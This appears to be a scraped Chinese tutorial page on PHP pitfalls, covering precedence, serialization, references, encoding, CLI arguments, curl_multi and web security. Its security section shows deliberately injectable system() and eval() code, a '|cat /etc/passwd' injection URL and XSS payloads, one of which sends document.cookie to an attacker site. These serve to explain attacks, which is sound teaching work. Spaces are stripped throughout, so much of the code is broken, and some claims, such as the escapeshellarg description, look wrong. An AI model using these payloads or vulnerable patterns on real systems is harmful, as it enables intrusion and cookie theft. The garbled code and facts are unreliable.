zl程序教程

您现在的位置是:首页 >  后端

当前栏目

基于PHP编程注意事项的小结

PHP编程 基于 小结 注意事项
2023-06-13 09:14:51 时间

 1、php隐性的三元操作符(?:)优先级问题:

例1:

复制代码代码如下:

   $person=$whoor$person="laruence"; 

   //实际上是等同于: 

   $person=empty($who)?"laruence":$who; 

例2
复制代码代码如下:

   $arr=array(1=>1,3=>3); 
   $i=2; 
   $a="test‘.isset($arr[$i])?$arr[$i]:$i; 

$a是什么?这个问题,咋一看觉得简单,

$a=‘test2";

其实仔细推敲后运行的,结果是notice:Undefinedindex2..

由于优先级的问题,连接符的优先级比三元操作符高。

首先是判断"test".isset($arr[$i])这个字符串永远是true,因此:

$a= $arr[$i];以致php提示提醒。
 

2.PHP函数名和类名不区分大小写的,而变量名是区分大小写的。

所以自己写的php模块,往往是大写的问题,编译不通过。

3.系列化传递问题

把复杂的数据类型压缩到一个字符串中
serialize()把变量和它们的值编码成文本形式
unserialize()恢复原先变量

复制代码代码如下:
   $stooges=array("Moe","Larry","Curly"); 
   $new=serialize($stooges); 
   print_r($new);echo"<br/>"; 
   print_r(unserialize($new)); 
   <spanstyle="font-family:Arial;BACKGROUND-COLOR:#ffffff"></span> 

结果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array([0]=>Moe[1]=>Larry[2]=>Curly)
当把这些序列化的数据放在URL中在页面之间会传递时,需要对这些数据调用urlencode(),以确保在其中的URL元字符进行处理:

复制代码代码如下:
$shopping=array("Poppyseedbagel"=>2,"PlainBagel"=>1,"Lox"=>4); 
echo"<ahref="next.php?cart=".urlencode(serialize($shopping))."">next</a>";

margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unserialize()中的数据。
如果magic_quotes_gpc项是启用的,那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理:
复制代码代码如下:
   $new_cart=unserialize(stripslashes($cart));//如果magic_quotes_gpc开启 
   $new_cart=unserialize($cart); 

如果magic_quotes_runtime是启用的,那么在向文件中写入序列化的数据之前必须用addslashes()进行处理,而在读取它们之前则必须用stripslashes()进行处理:
复制代码代码如下:
$fp=fopen("/tmp/cart","w"); 
fputs($fp,addslashes(serialize($a))); 
fclose($fp); 
//如果magic_quotes_runtime开启 
$new_cat=unserialize(stripslashes(file_get_contents("/tmp/cart"))); 
//如果magic_quotes_runtime关闭 
$new_cat=unserialize(file_get_contents("/tmp/cart"));

在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列化数据必须要经过addslashes()的处理,以便能够适当地存储。
复制代码代码如下:
   mysql_query("insertintocart(id,data)values(1,"".addslashes(serialize($cart))."")"); 
   $rs=mysql_query("selectdatafromcartwhereid=1"); 
   $ob=mysql_fetch_object($rs); 
   //如果magic_quotes_runtime开启 
   $new_cart=unserialize(stripslashes($ob->data)); 
   //如果magic_quotes_runtime关闭 
   $new_cart=unserialize($ob->data); 

当对一个对象进行反序列化操作时,PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。

4.引用注意事项
PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在PHP中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是Unix的文件名和文件本身??变量名是目录条目,而变量内容则是文件本身。引用可以被看作是Unix文件系统中的紧密连接或者wins的快捷方式。

1)unset一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了
 
例如:不会unset$b,只是$a。

复制代码代码如下:
   <?php   

        $a  =  1;   
        $b  =&  $a;   
        unset ($a);   
        echo$b;//输出:1: 

使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。
原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。

2)PHP引用是采用引用计数、写时拷贝

很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。)

就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:
$a=array("a","c"..."n");
$b=$a;
如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。

如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。

复制代码代码如下:
   functionprintArray(&$arr)//引用传递 
    { 
       print(count($arr)); 
   } 
    printArray($a); 

上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。

直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。

如果我们把上面的代码改成下面这样:

复制代码代码如下:
   functionprintArray($arr) //值传递 
    { 
        print(count($arr)); 
    } 
    printArray($a); 

上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。

5.编码的问题

程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?
 $str=“您好hello”;

echostrlen($str);

结果:ANSI=9而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen().

6.PHP获取参数的三种方法

方法一使用$argc$argv

复制代码代码如下:
<?php 
   if($argc>1){ 
       print_r($argv); 
   }

在命令行下运行/usr/local/php/bin/php./getopt.php-f123-g456

运行结果:
    #/usr/local/php/bin/php./getopt.php-f123-g456
       Array
       (
           [0]=>./getopt.php
           [1]=>-f
           [2]=>123
           [3]=>-g
           [4]=>456
       )

方法二使用getopt函数()

复制代码代码如下:
   $options="f:g:"; 
   $opts=getopt($options); 
   print_r($opts); 

在命令行下运行/usr/local/php/bin/php./getopt.php-f123-g456
 运行结果:
  Array
       (
           [f]=>123
           [g]=>456
       )

方法三提示用户输入,然后获取输入的参数。有点像C语言

复制代码代码如下:
fwrite(STDOUT,"Enteryourname:"); 
$name=trim(fgets(STDIN)); 
fwrite(STDOUT,"Hello,$name!");

在命令行下运行/usr/local/php/bin/php./getopt.php
 运行结果
    Enteryourname:francis
    Hello,francis!


7.php的字符串即可以当做数组,和c指针字符串一样

复制代码代码如下:
   <?php 
   $s="12345"; 
   $s[$s[0]]=0; 
   echo$s; 
   ?> 

结果是10345


8.PHP的高效率写法:

9.PHP的安全漏洞问题:

针对PHP的网站主要存在下面几种攻击方式:

1、命令注入(CommandInjection)

    PHP中可以使用下列5个函数来执行外部的应用程序或函数system、exec、passthru、shell_exec、“(与shell_exec功能相同)
    如:

复制代码代码如下:
   <?php 
   $dir=$_GET["dir"];  
   if(isset($dir)){      
       echo"";      
       system("ls-al".$dir);      
       echo"";  
   }  
   ?>  

我们提交http://www.test.com/ex1.php?dir=|cat/etc/passwd,命令变成了system("ls-al|cat/etc/passwd");我们服务器用户信息被窃看了吧。

2、eval注入(EvalInjection)

eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。

复制代码代码如下:
$var="var";  
if(isset($_GET["arg"]))  
{  
   $arg=$_GET["arg"];  
   eval("\$var=$arg;");  
   echo"\$var=".$var;  
}  
?>

当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;

防范命令注入和eval注入的方法

  1)、尽量不要执行外部命令。

  2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。

  3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“"”,替换成“\"”,双引号“"”,替换成“\"”,分号“;”替换成“\;”

3、客户端脚本攻击(ScriptInsertion)

客户端脚本植入的攻击步骤

1)、攻击者注册普通用户后登陆网站

2)、打开留言页面,插入攻击的js代码

3)、其他用户登录网站(包括管理员),浏览此留言的内容

4)、隐藏在留言内容中的js代码被执行,攻击成功

表单输入一些浏览器可以执行的脚本:

插入<script>while(1){windows.open();}</script>无限弹框

插入<script>location.href="http://www.sectop.com";</script>跳转钓鱼页面
 防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。

4、跨网站脚本攻击(CrossSiteScripting,XSS)

恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。

跨站脚本攻击的一般步骤:

1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:

       插入<script>document.location=“go.somewhere.bad?cookie=+“this.cookie</script>

     或者是链接:

     http://www.my.site/index.php?user=<script>document.location="http://www.atacker.site/get.php?cookie="+document.cookie;</script>

2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接

3)、网站执行了此xss攻击脚本

4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息

5)、攻击者使用目标用户的信息登录网站,完成攻击

     防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。

5、SQL注入攻击(SQLinjection)

    SQL注入最有效的防御方式是使用准备语句:

    准备语句(也叫预备语句preparedstatements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。

其优点:

  1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。

 2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。

1)用PDO(PHPDataObjects):

复制代码代码如下:
PHPPDO::prepare()andexecute()  

$preparedStatement=$db->prepare("INSERTINTOtable(column)VALUES(:column)");   

$preparedStatement->execute(array(":column"=>$unsafeValue));

2)使用mysqli:
复制代码代码如下:
   $stmt=$dbConnection->prepare("SELECT*FROMemployeesWHEREname=?");  

   $stmt->bind_param("s",$name);   

   $stmt->execute();   

   $result=$stmt->get_result();   

   while($row=$result->fetch_assoc()){   

       //dosomethingwith$row    

   }   

6、跨网站请求伪造攻击(CrossSiteRequestForgeries,CSRF)

7、Session会话劫持(SessionHijacking)

8、Session固定攻击(SessionFixation)

9、HTTP响应拆分攻击(HTTPResponseSplitting)

10、文件上传漏洞(FileUploadAttack)

11、目录穿越漏洞(DirectoryTraversal)

12、远程文件包含攻击(RemoteInclusion)

13、动态函数注入攻击(DynamicVariableEvaluation)

14、URL攻击(URLattack)

15、表单提交欺骗攻击(SpoofedFormSubmissions)

16、HTTP请求欺骗攻击(SpoofedHTTPRequests)

几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。这个几个选项在PHP5.4都将被弃用。

register_globals:

    php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals

的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。

    要确保禁用register_globals。如果启用了register_globals,就可能做一些粗心的事情,比如使用$variable替换同名的GET或POST字符串。通过禁用这个设置,PHP强迫您在正确的名称空间中引用正确的变量。要使用来自表单POST的变量,应该引用$_POST["variable"]。这样就不会将这个特定变量误会成cookie、会话或GET变量。

safe_mode:

安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On

magic_quotes

用来让php程序的输入信息自动转义,所有的单引号(“"”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP请求数据,或者用stripslashes来删除转义。


10.curl多请求并发使用

curl大家一定使用过,但并发使用的情况估计不多。但在某些情况下确实比较有用,比如在同一请求里面调用多个他方接口,传统方法我们需要串行请求接口:

file_get_contents("http://a.php");//1秒

file_get_contents("http://b.php");//2秒

file_get_contents("http://c.php");//2秒

那在这里耗时为5秒,但运营curl的muti方法,我们只需2秒就可请求完毕. 在php的手册里面有一段代码:

复制代码代码如下:
   $mrc=curl_multi_init(); 
   //发出请求 
   ....... 
   $active=null; 
           do{ 
               $mrc=curl_multi_exec($mh,$active); 
           }while($mrc==CURLM_CALL_MULTI_PERFORM); 

           while($active&&$mrc==CURLM_OK){ 
               if(curl_multi_select($mh)!=-1){ 
                   do{ 
                       $mrc=curl_multi_exec($mh,$active); 
                   }while($mrc==CURLM_CALL_MULTI_PERFORM); 
               } 
           } 
   //下面是处理请求返回的结果 

但如果我有1000个请求,那么curl批处理将并发1000个请求,显然是不合理,所以应该要控制一个并发数,并且将剩余的连接添加到请求队列里:
参考:Howtousecurl_multi()withoutblocking
复制代码代码如下:
   <?php 
   $connomains=array( 
       //2.php自己去些 
      "http://localhost/2.php?id=1",//sleep(1)秒 
      "http://localhost/2.php?id=2",//sleep(2)秒 
      "http://localhost/2.php?id=5",//sleep(5)秒 
   ); 

   $mh=curl_multi_init(); 

   foreach($connomainsas$i=>$url){ 
     $conn[$i]=curl_init($url);//初始化各个子连接 
     curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,1);//不直接输出到浏览器 
     curl_multi_add_handle($mh,$conn[$i]);//加入多处理句柄 
   } 

   $active=0;//连接数 

   do{ 
     do{ 
         //这里$active会被改写成当前未处理数 
         //全部处理成功$active会变成0 
         $mrc =curl_multi_exec($mh,$active); 

         //这个循环的目的是尽可能的读写,直到无法继续读写为止(返回CURLM_OK) 
         //返回(CURLM_CALL_MULTI_PERFORM)就表示还能继续向网络读写 
     }while($mrc==CURLM_CALL_MULTI_PERFORM); 

     
   //如果一切正常,那么我们要做一个轮询,每隔一定时间(默认是1秒)重新请求一次 
   //这就是curl_multi_select的作用,它在等待过程中,如果有就返回目前可以读写的句柄数量,以便 
   //继续读写操作,0则没有可以读写的句柄(完成了) 
   }while($mrc==CURLM_OK&&$active&&curl_multi_select($mh)!=-1);//直到出错或者全部读写完毕 

   if($mrc!=CURLM_OK){ 
     print"Curlmultireaderror$mrc/n"; 
   } 

   //retrievedata 
   foreach($connomainsas$i=>$url){ 
     if(($err=curl_error($conn[$i]))==""){ 
      $res[$i]=curl_multi_getcontent($conn[$i]); 
     }else{ 
      print"Curlerroronhandle$i:$err/n"; 
     } 
     curl_multi_remove_handle($mh,$conn[$i]); 
     curl_close($conn[$i]); 
   } 
   curl_multi_close($mh); 

   print_r($res); 
   ?>  

有的人为了省事,这样写:

do{curl_multi_exec($mh,$active);}while($active);

看似也能得到结果,但其实很不严谨,并且很浪费cpu,因为这个循环会一直在不停的调用,直到所有链接处理完毕,在循环里面加个print"a"就可看出效果了。


11、empty使用魔术方法__get判断对象属性是否为空不起作用

Pleasenotethatresultsofempty()whencalledonnon-existing/non-publicvariablesofaclassareabitconfusingifusingmagicmethod__get(aspreviouslymentionedbynahpepsatgmxdotde).Considerthisexample:

复制代码代码如下:
<?php
classRegistry
{
   protected$_items=array();
   publicfunction__set($key,$value)
   {
       $this->_items[$key]=$value;
   }
   publicfunction__get($key)
   {
       if(isset($this->_items[$key])){
           return$this->_items[$key];
       }else{
           returnnull;
       }
   }
}

$registry=newRegistry();
$registry->empty="";
$registry->notEmpty="notempty";

var_dump(empty($registry->notExisting));//true,sofarsogood
var_dump(empty($registry->empty));//true,sofarsogood
var_dump(empty($registry->notEmpty));//true,..saywhat?
$tmp=$registry->notEmpty;
var_dump(empty($tmp));//falseasexpected
?>


12、Linux下命令行执行php文件的格式必须是unix。

php./test.php
如果test.php是windos上传的,其格式可能是dos。
然后运行该命令就报错:Couldnotopeninputfile

我们可以在vi中使用:setff来查看格式:

fileformat=dos


如果是dos格式,那么就要使用:setff=unix来设置新格式


再使用:setff来查看格式,可以看到已经是unix的格式了;


fileformat=unix